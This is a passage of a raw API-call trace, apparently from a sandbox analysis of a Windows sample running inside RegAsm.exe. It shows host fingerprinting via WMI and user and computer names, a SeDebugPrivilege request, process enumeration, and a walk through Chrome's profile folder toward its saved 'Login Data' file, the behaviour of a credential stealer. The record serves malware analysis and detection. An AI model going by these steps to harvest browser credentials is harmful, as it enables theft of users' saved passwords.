varVal1="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x36eaac*=8, plFlavor=0x36eaa8*=64) returned 0x0 [0079.335] SysStringLen (param_1="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x34 [0079.335] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x31c [0079.335] GetLastError () returned 0x0 [0079.335] SetEvent (hEvent=0x290) returned 1 [0079.335] GetLastError () returned 0x0 [0079.335] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36ea10*=0x31c, lpdwindex=0x36e7c8 | out: lpdwindex=0x36e7c8) returned 0x0 [0079.338] CoGetContextToken (in: pToken=0x36e860 | out: pToken=0x36e860) returned 0x0 [0079.338] CoGetContextToken (in: pToken=0x36e820 | out: pToken=0x36e820) returned 0x0 [0079.338] WbemDefPath:IUnknown:AddRef (This=0x52ee1b0) returned 0x2 [0079.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x36e89c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e898 | out: ppvObject=0x36e898*=0x52ee1b0) returned 0x0 [0079.338] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x2 [0079.338] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x1 [0079.338] CoGetContextToken (in: pToken=0x36e8e0 | out: pToken=0x36e8e0) returned 0x0 [0079.338] CoGetContextToken (in: pToken=0x36e8a0 | out: pToken=0x36e8a0) returned 0x0 [0079.338] WbemDefPath:IUnknown:AddRef (This=0x52ee1b0) returned 0x2 [0079.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x52ee1b0, riid=0x36e91c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e918 | out: ppvObject=0x36e918*=0x52ee1b0) returned 0x0 [0079.338] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x2 [0079.339] WbemDefPath:IWbemPath:SetText (This=0x52ee1b0, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0079.339] WbemDefPath:IUnknown:Release (This=0x52ee1b0) returned 0x1 [0079.339] CoGetContextToken (in: pToken=0x36e8cc | out: pToken=0x36e8cc) returned 0x0 [0079.339] CoGetContextToken (in: pToken=0x36e88c | out: pToken=0x36e88c) returned 0x0 [0079.339] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e908*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e904 | out: ppvObject=0x36e904*=0x52edaa8) returned 0x0 [0079.339] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.339] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x36ea80 | out: puCount=0x36ea80*=0x2) returned 0x0 [0079.339] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.339] CoGetContextToken (in: pToken=0x36e8bc | out: pToken=0x36e8bc) returned 0x0 [0079.339] CoGetContextToken (in: pToken=0x36e87c | out: pToken=0x36e87c) returned 0x0 [0079.339] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8f8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8f4 | out: ppvObject=0x36e8f4*=0x52edaa8) returned 0x0 [0079.339] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.339] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea7c*=0x0, pszText=0x0 | out: puBuffLength=0x36ea7c*=0xf, pszText=0x0) returned 0x0 [0079.339] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.340] CoGetContextToken (in: pToken=0x36e8bc | out: pToken=0x36e8bc) returned 0x0 [0079.340] CoGetContextToken (in: pToken=0x36e87c | out: pToken=0x36e87c) returned 0x0 [0079.340] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8f8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8f4 | out: ppvObject=0x36e8f4*=0x52edaa8) returned 0x0 [0079.340] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.340] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea7c*=0xf, pszText="00000000000000" | out: puBuffLength=0x36ea7c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.340] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.340] CoGetContextToken (in: pToken=0x36e8b4 | out: pToken=0x36e8b4) returned 0x0 [0079.340] CoGetContextToken (in: pToken=0x36e874 | out: pToken=0x36e874) returned 0x0 [0079.340] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8ec | out: ppvObject=0x36e8ec*=0x52edaa8) returned 0x0 [0079.340] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x36ea68 | out: puCount=0x36ea68*=0x2) returned 0x0 [0079.340] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.340] CoGetContextToken (in: pToken=0x36e8a4 | out: pToken=0x36e8a4) returned 0x0 [0079.340] CoGetContextToken (in: pToken=0x36e864 | out: pToken=0x36e864) returned 0x0 [0079.340] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8dc | out: ppvObject=0x36e8dc*=0x52edaa8) returned 0x0 [0079.341] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.341] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea64*=0x0, pszText=0x0 | out: puBuffLength=0x36ea64*=0xf, pszText=0x0) returned 0x0 [0079.341] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.341] CoGetContextToken (in: pToken=0x36e8a4 | out: pToken=0x36e8a4) returned 0x0 [0079.341] CoGetContextToken (in: pToken=0x36e864 | out: pToken=0x36e864) returned 0x0 [0079.341] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0079.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8dc | out: ppvObject=0x36e8dc*=0x52edaa8) returned 0x0 [0079.341] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0079.341] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea64*=0xf, pszText="00000000000000" | out: puBuffLength=0x36ea64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.341] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0079.342] IWbemClassObject:Get (in: This=0x52f5c60, wszName="processorID", lFlags=0, pVal=0x36ea24*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24e2234*=0, plFlavor=0x24e2238*=0 | out: pVal=0x36ea24*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x24e2234*=8, plFlavor=0x24e2238*=0) returned 0x0 [0079.342] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10 [0079.342] IWbemClassObject:Get (in: This=0x52f5c60, wszName="processorID", lFlags=0, pVal=0x36ea28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24e2234*=8, plFlavor=0x24e2238*=0 | out: pVal=0x36ea28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x24e2234*=8, plFlavor=0x24e2238*=0) returned 0x0 [0079.342] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10 [0079.342] CoGetContextToken (in: pToken=0x36e7fc | out: pToken=0x36e7fc) returned 0x0 [0079.343] IUnknown:AddRef (This=0x52f5c24) returned 0x3 [0079.343] IEnumWbemClassObject:Next (in: This=0x52f5c24, lTimeout=-1, uCount=0x1, apObjects=0x85f2e0, puReturned=0x24e128c | out: apObjects=0x85f2e0*=0x0, puReturned=0x24e128c*=0x0) returned 0x1 [0079.343] IUnknown:Release (This=0x52f5c24) returned 0x2 [0079.345] CoGetContextToken (in: pToken=0x36e950 | out: pToken=0x36e950) returned 0x0 [0079.345] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x1 [0079.345] IUnknown:Release (This=0x52f5c24) returned 0x0 [0079.404] GetUserNameW (in: lpBuffer=0x8ad6e8, pcbBuffer=0x24e2948 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24e2948) returned 1 [0079.405] GetComputerNameW (in: lpBuffer=0x8ad6e8, nSize=0x24e2ba4 | out: lpBuffer="YKYD69Q", nSize=0x24e2ba4) returned 1 [0079.407] GetEnvironmentVariableW (in: lpName="%startupfolder%", lpBuffer=0x8ad6e8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.407] GetLastError () returned 0xcb [0094.653] GetUserNameW (in: lpBuffer=0x8ad6e8, pcbBuffer=0x24e3d68 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24e3d68) returned 1 [0094.654] GetComputerNameW (in: lpBuffer=0x8ad6e8, nSize=0x24e3fc4 | out: lpBuffer="YKYD69Q", nSize=0x24e3fc4) returned 1 [0094.707] GetCurrentProcessId () returned 0x558 [0094.733] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x36e320 | out: lpLuid=0x36e320*(LowPart=0x14, HighPart=0)) returned 1 [0094.735] GetLastError () returned 0x0 [0094.736] GetCurrentProcess () returned 0xffffffff [0094.736] GetLastError () returned 0x0 [0094.738] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x36e31c | out: TokenHandle=0x36e31c*=0x328) returned 1 [0094.738] GetLastError () returned 0x0 [0094.741] AdjustTokenPrivileges (in: TokenHandle=0x328, DisableAllPrivileges=0, NewState=0x24e699c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0094.741] GetLastError () returned 0x514 [0094.742] CloseHandle (hObject=0x328) returned 1 [0094.742] GetLastError () returned 0x514 [0094.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3497eb8, Length=0x20000, ResultLength=0x36eaac | out: SystemInformation=0x3497eb8, ResultLength=0x36eaac*=0xbfa0) returned 0x0 [0094.766] GetCurrentProcessId () returned 0x558 [0094.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34b7ed8, Length=0x20000, ResultLength=0x36eaac | out: SystemInformation=0x34b7ed8, ResultLength=0x36eaac*=0xbfa0) returned 0x0 [0094.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x36e620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0094.775] GetLastError () returned 0x514 [0094.780] GetFullPathNameW (in: lpFileName="\\%insfolder%\\%insname%", nBufferLength=0x105, lpBuffer=0x36e654, lpFilePart=0x0 | out: lpBuffer="C:\\%insfolder%\\%insname%", lpFilePart=0x0) returned 0x18 [0094.780] GetLastError () returned 0x514 [0094.780] SetErrorMode (uMode=0x1) returned 0x0 [0094.780] GetFileAttributesExW (in: lpFileName="C:\\%insfolder%\\%insname%" (normalized: "c:\\%insfolder%\\%insname%"), fInfoLevelId=0x0, lpFileInformation=0x36ead4 | out: lpFileInformation=0x36ead4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0094.781] GetLastError () returned 0x3 [0094.781] SetErrorMode (uMode=0x0) returned 0x1 [0094.958] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8ad6e8 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0094.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x36e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0094.961] GetLastError () returned 0x3f0 [0095.008] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8ad6e8 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0095.008] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x36e0c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0095.008] GetLastError () returned 0x3f0 [0095.136] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x36e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x38 [0095.136] GetLastError () returned 0x3f0 [0095.137] SetErrorMode (uMode=0x1) returned 0x0 [0095.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x36e52c | out: lpFileInformation=0x36e52c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.140] GetLastError () returned 0x3f0 [0095.140] SetErrorMode (uMode=0x0) returned 0x1 [0095.140] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x36e004, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x38 [0095.140] GetLastError () returned 0x3f0 [0095.141] SetErrorMode (uMode=0x1) returned 0x0 [0095.144] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x87c268 [0095.146] GetLastError () returned 0x3f0 [0095.147] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.147] GetLastError () returned 0x3f0 [0095.147] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0095.147] GetLastError () returned 0x3f0 [0095.147] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0095.148] GetLastError () returned 0x3f0 [0095.148] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0095.148] GetLastError () returned 0x3f0 [0095.148] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0095.148] GetLastError () returned 0x3f0 [0095.148] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0095.148] GetLastError () returned 0x3f0 [0095.148] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0095.148] GetLastError () returned 0x3f0 [0095.149] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0095.149] GetLastError () returned 0x3f0 [0095.149] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0095.149] GetLastError () returned 0x3f0 [0095.149] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0095.149] GetLastError () returned 0x3f0 [0095.149] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0095.149] GetLastError () returned 0x3f0 [0095.149] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0095.149] GetLastError () returned 0x3f0 [0095.150] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0095.150] GetLastError () returned 0x3f0 [0095.150] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0095.150] GetLastError () returned 0x3f0 [0095.150] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0095.150] GetLastError () returned 0x3f0 [0095.150] FindNextFileW (in: hFindFile=0x87c268, lpFindFileData=0x8ad6e8 | out: lpFindFileData=0x8ad6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0095.150] GetLastError () returned 0x12 [0095.151] FindClose (in: hFindFile=0x87c268 | out: hFindFile=0x87c268) returned 1 [0095.151] SetErrorMode (uMode=0x0) returned 0x1 [0095.155] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.155] GetLastError () returned 0x12 [0095.155] SetErrorMode (uMode=0x1) returned 0x0 [0095.155] GetFileAttributesExW (in: 